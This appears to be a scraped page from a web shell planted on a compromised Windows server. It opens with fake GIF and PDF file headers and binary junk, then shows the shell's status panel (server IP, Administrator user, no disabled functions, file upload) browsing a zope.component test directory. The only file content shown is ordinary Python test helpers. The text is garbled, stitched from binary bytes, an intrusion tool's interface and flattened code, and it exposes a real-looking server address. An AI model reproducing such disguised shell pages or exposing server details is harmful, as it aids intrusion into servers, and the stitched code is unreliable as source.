GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /Program Files (x86)/Certbot/pkgs/zope/component/tests/ |
Upload File : |
import unittest def skipIfNoSecurity(testfunc): from zope.component._compat import ZOPE_SECURITY_NOT_AVAILABLE_EX try: import zope.security except ZOPE_SECURITY_NOT_AVAILABLE_EX: # pragma: no cover return unittest.skip("zope.security not installed")(testfunc) return testfunc def fails_if_called(test, msg="This function must not be called.", arguments=True): """ Return a new function (accepting any arguments) that will call test.fail(msg) if it is called. :keyword bool arguments: If set to ``False``, then we will not accept any arguments. This can avoid masking when we would expect a TypeError to be raised by calling an instance method against a class. """ if not arguments: return lambda: test.fail(msg) return lambda *_args, **__kwargs: test.fail(msg)